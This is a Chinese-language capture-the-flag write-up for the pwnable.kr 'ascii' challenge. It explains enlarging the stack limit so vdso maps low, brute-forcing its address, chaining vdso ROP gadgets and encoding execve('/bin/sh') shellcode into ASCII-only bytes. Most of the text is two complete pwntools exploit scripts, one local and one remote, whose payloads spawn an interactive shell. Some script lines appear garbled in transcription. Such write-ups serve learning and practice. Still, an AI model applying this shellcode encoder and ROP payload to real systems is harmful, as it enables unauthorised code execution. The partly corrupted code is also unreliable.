

pwnable.kr "ascii"

解题思路

由于是本地利用，我们可以利用 `ulimit` 来控制 resource 的分配。在 `ulimit -s` 为8192的情况下，所有可执行的代码段都不是 `ascii` 字符可以表示的地址。但是 `ulimit -s unlimited` 之后，`vdso`、`vvar`这两个段会落在一个比较低的地址

```
1 gdb-peda$ vmmap
2 Start      End      Perm  Name
3 0x08048000 0x080ed000 r-xp
  /media/psf/Home/workspace/CTF/pwnable/ascii/ascii
4 0x080ed000 0x080ef000 rw-p
  /media/psf/Home/workspace/CTF/pwnable/ascii/ascii
5 0x080ef000 0x08113000 rw-p  [heap]
6 0x55555000 0x55557000 r--p  [vvar]
7 0x55557000 0x55558000 r-xp  [vdso]
8 0xffffdd000 0xfffffe000 rw-p  [stack]
```

多次运行程序发现，`vdso` 这个段虽然地址是随机的，但是似乎只有8个 bit 是随机的，可以爆破。gdb 中 `ropgadget` 找一下 `vdso` 的 gadget，没有找到适合的，当时就以为这条路走不通。

```
1 gdb-peda$ ropgadget vdso
2 ret = 0x555576fa
3 popret = 0x5555771b
4 pop2ret = 0x5555771a
5 pop4ret = 0x5555778e
6 pop3ret = 0x5555778f
7 addesp_20 = 0x55557789
8 addesp_36 = 0x55557874
```

后来发现是 gdb 中的 `ropgadget` 只能找出一些简单的 gadget（推测这些 gadget 都是依照代码原有的执行流来的）。先在 gdb 中用 `'dumpmem ascii-vdso.dump vdso'` 命令把 `vdso` 这个段的内存 dump 到文件中，然后在命令行中用 `ROPgadget` 来找寻

```
1 → ROPgadget --binary ascii-vdso.dump
```

成功找到了可用的 gadgets，栈中也存放了 `0x80000000`，然后就可以 `ret` 到 `0x80000000` 去，去执行我们的 shellcode 了。但是我们的 shellcode 必须是 `ascii` 的，`int 0x80` 这样的指令明显不是 `ascii`。在网上找到了一篇介绍怎么构造 `ascii` shellcode 的文章，把这篇文章重新排版了一下，放在印象笔记里面。

放上本地利用的代码

```
1  #!/usr/bin/env python
2  # -*- coding: utf-8 -*-
3  """ dddong / AAA """
4
5  from pwn import *
6  import sys, os, re
7  context(arch='i386', os='linux', log_level='debug')
8  context(terminal=['gnome-terminal', '-x', 'bash', '-c'])
9
10 xorcode = ""
11 tools = \
12 """
13 dec esp
14 dec esp
15 dec esp
16 dec esp
17 pop edx
18 push 0x58494741
19 pop eax
20 xor eax, 0x58494741
21 dec eax
22 push esp
23 pop ecx
24 push edx
25 push ecx
26 push edx
27 push eax
28 push esp
29 push ebp
30 push esi
31 push edi
32 popad
33 """
34 stub = """
35 sub eax, 0x6D6D6D40
36 sub eax, 0x51515140
37 sub eax, 0x414141ff
38 pushw 0x5050
39 pop dx
40 """
41
42 _xor_off = 40
43
44 def __get_base(p, _path):
```

```

45     _vmmap = open('/proc/%d/maps' % p.proc.pid).read()
46     _regex = '^.*? r-xp .*?{$}.*?$'.format(_path)
47     _line = [_ for _ in _vmmap.split('\n') if re.match(_regex, _)][0]
48     return int(_line.split('-')[0], 16)
49
50 def encode_ascii(sc):
51     global xorcode
52     res = ""
53     i = 0
54     for c in sc:
55         c = ord(c)
56         if c > 0x1f and c <= 0x7f:
57             pass
58         elif c > 0x7f:
59             xorcode += "xor [eax+" + str(_xor_off+i) + "], dh\n"
60             xorcode += "xor [eax+" + str(_xor_off+i) + "], bh\n"
61             c = (~c & 0xff)
62             c = c ^ 0x50
63         else:
64             xorcode += "xor [eax+" + str(_xor_off+i) + "], dh\n"
65             c = c ^ 0x50
66         res += chr(c)
67         i = i + 1
68     return res
69
70
71 sc =
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31
\x09\xcd\x80"
72
73 code_encoded = encode_ascii(sc)
74
75 offset_to_real_sc = len(asm(tools + stub + xorcode)) - _xor_off
76 stub = stub.replace("ff", hex((0-0x40-0x40-offset_to_real_sc)&0xff)[2:])
77 print "stub is:", stub
78 shellcode = asm(tools + stub + xorcode) + code_encoded
79
80
81 #####
82 _program = 'ascii'
83
84 _pwn_remote = 0
85 _debug = int(sys.argv[1]) if len(sys.argv) > 1 else 0
86
87 elf = ELF('./' + _program)
88

```

```

89 if _pwn_remote == 0:
90     pass
91     """
92     if _debug != 0:
93         _source = 'source peda-session-%s.txt' % _program
94         gdb.attach(p.proc.pid, execute=_source)
95     """
96 else:
97     _ssh = ssh('ascii', 'pwnable.kr', 2222, 'guest')
98     p = _ssh.process('ulimit')
99     print p.recvall()
100    raw_input()
101
102
103 def is_ascii(addr):
104     for i in [0, 8, 16, 24]:
105         temp = ((addr << i) & 0xffffffff) >> 24
106         if(temp < 31 or temp > 127):
107             return False
108     return True
109
110 vdso_addr = 0x555c6000
111 ret_12 = vdso_addr + 0x721
112 ret_4 = vdso_addr + 0x0950
113
114 payload = shellcode + 'A' * (172-len(shellcode)) + (p32(ret_12) +
115 p32(0x50505050) + p32(0x50505050) ) * 3 + p32(ret_4)*2
116
117 while True:
118     if _pwn_remote == 1:
119         p = _ssh.process('ascii')
120     else:
121         p = process('./' + _program)
122         cur_vdso_addr = __get_base(p, '\[vdso\]')
123         if vdso_addr == cur_vdso_addr:
124             print "hit the vdso!vdso base is
125 {}".format(hex(cur_vdso_addr))
126         _source = 'source peda-session-%s.txt' % _program
127         #raw_input()
128         gdb.attach(p.proc.pid, execute=_source)
129     else:
130         #print "no hit!vdso base is {}".format(hex(cur_vdso_addr))
131         p.close()
132         continue
133     p.send(payload + '\x00')
134 try:

```

```

133         p.recv(timeout=1)
134         p.recv(timeout=1)
135         p.recv(timeout=1)
136         p.recv(timeout=1)
137         p.recv(timeout=1)
138         p.recv(timeout=1)
139         p.recv(timeout=1)
140         p.recv(timeout=1)
141         p.recv(timeout=1)
142     except EOFError:
143         p.close()
144         continue
145     p.interactive()
146

```

本地利用转远程利用的时候，发现ssh 连上之后，执行 `p = ssh.process(['ulimit', '-s', 'unlimited'])`，会提示不是 `shell` 的内置命令，在 `PATH` 路径中也找不到。具体原因可能需要结合 `pwntools` 的源代码来分析。
`ssh.run(['ulimit', '-s', 'unlimited'])` 可以执行，但是没有影响当前 `shell`。

```

1 In [17]: p=s.run('ulimit -s')
2 [x] Opening new channel: 'stty raw -ctlecho -echo; cd . >/dev/null
2>&1;ulimit -s'
3 [+] Opening new channel: 'stty raw -ctlecho -echo; cd . >/dev/null
2>&1;ulimit -s': Done

```

`stty` 具体是做了什么不知道。留待之后学习。

所以只能 `ssh` 登陆上 `pwnable.kr`，在 `tmp` 目录下面下载 `pwntools` 利用。要注意远程的环境有些地方不一样，`vdso` 的 `gadget` 地址需要改变。

远程利用的脚本：

```

1  #!/usr/bin/env python
2  # -*- coding: utf-8 -*-
3  """ dddong / AAA """
4
5  from pwn import *
6  import sys, os, re
7  context(arch='i386', os='linux', log_level='info')
8  context(terminal=['gnome-terminal', '-x', 'bash', '-c'])
9
10 xorcode = ""
11 tools = \
12 """
13 dec esp
14 dec esp

```

```

15 dec esp
16 dec esp
17 pop edx
18 push 0x58494741
19 pop eax
20 xor eax, 0x58494741
21 dec eax
22 push esp
23 pop ecx
24 push edx
25 push ecx
26 push edx
27 push eax
28 push esp
29 push ebp
30 push esi
31 push edi
32 popad
33 """
34 stub = """
35 sub eax, 0x6D6D6D40
36 sub eax, 0x51515140
37 sub eax, 0x414141ff
38 pushw 0x5050
39 pop dx
40 """
41
42 _xor_off = 40
43
44 def __get_base(p, _path):
45     _vmmap = open('/proc/%d/maps' % p.proc.pid).read()
46     _regex = '^.*? r-xp .*?{.*?}$'.format(_path)
47     _line = [_ for _ in _vmmap.split('\n') if re.match(_regex, _)][0]
48     return int(_line.split('-')[0], 16)
49
50 def encode_ascii(sc):
51     global xorcode
52     res = ""
53     i = 0
54     for c in sc:
55         c = ord(c)
56         if c > 0x1f and c <= 0x7f:
57             pass
58         elif c > 0x7f:
59             xorcode += "xor [eax+" + str(_xor_off+i) + "], dh\n"
60             xorcode += "xor [eax+" + str(_xor_off+i) + "], bh\n"

```

```

61         c = (~c & 0xff)
62         c = c ^ 0x50
63     else:
64         xorcode += "xor [eax+"+str(_xor_off+i)+"], dh\n"
65         c = c ^ 0x50
66         res += chr(c)
67         i = i + 1
68     return res
69
70
71 sc =
72 "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31
73 \xc9\xcd\x80"
74
75 code_encoded = encode_ascii(sc)
76
77 offset_to_real_sc = len(asm(tools + stub + xorcode)) - _xor_off
78 stub = stub.replace("ff", hex((0-0x40-0x40-offset_to_real_sc)&0xff)[2:])
79 shellcode = asm(tools + stub + xorcode) + code_encoded
80
81 #####
82 _program = '/home/ascii/ascii'
83
84 _pwn_remote = 0
85 _debug = int(sys.argv[1]) if len(sys.argv) > 1 else 0
86
87 if _pwn_remote == 0:
88     pass
89     """
90     if _debug != 0:
91         _source = 'source peda-session-%s.txt' % _program
92         gdb.attach(p.proc.pid, execute=_source)
93     """
94 else:
95     _ssh = ssh('ascii', 'pwnable.kr', 2222, 'guest')
96     p = _ssh.process('ulimit')
97     print p.recvall()
98     raw_input()
99
100
101 vdso_addr = 0x555c6000
102 ret_12 = vdso_addr + 0xc75
103 ret_4 = vdso_addr + 0xc78
104

```

```

105 payload = shellcode + 'A' * (172-len(shellcode)) + (p32(ret_12) +
106 p32(0x50505050) + p32(0x50505050) ) * 3 + p32(ret_4)*2
107
108 while True:
109     if _pwn_remote == 1:
110         p = _ssh.process('ascii')
111     else:
112         p = process(_program)
113     """
114     cur_vdso_addr = __get_base(p, '\[vdso\]')
115     if vdso_addr == cur_vdso_addr:
116         print "hit the vdso!vdso base is {}".format(hex(cur_vdso_addr))
117         _source = 'source peda-session-%s.txt' % _program
118         raw_input()
119         #gdb.attach(p.proc.pid, execute=_source)
120     else:
121         #print "no hit!vdso base is {}".format(hex(cur_vdso_addr))
122         p.close()
123         continue
124     """
125     p.send(payload + '\x00')
126     try:
127         p.recv(timeout=1)
128         p.recv(timeout=1)
129         p.recv(timeout=1)
130         p.recv(timeout=1)
131         p.recv(timeout=1)
132         p.recv(timeout=1)
133     except EOFError:
134         p.close()
135         continue
136     p.interactive()
137

```

心得

1. 本地利用和远程利用（nc）的很重要的差别就是本地利用可以设置程序可以使用的资源大小。32位的系统下- 2. 一开始 shellcode 是使用了 pwntools 里面自带的，发现太长了，导致最终的 sc 超出了172个字节，后来在 shell-storm.org 上找了个只有21个字节的 shellcode
- 3. 针对 shellcode 的可用字符限制一般是没什么卵用的，因为我们可以 encode 啊。

困惑

1. 不知道为什么程序运行的时候会把输入 copy 到0x80000001开始的地方，0x80000000这个字节始终是0x00。第二天起来这个问题又消失了，怎么也复现不了。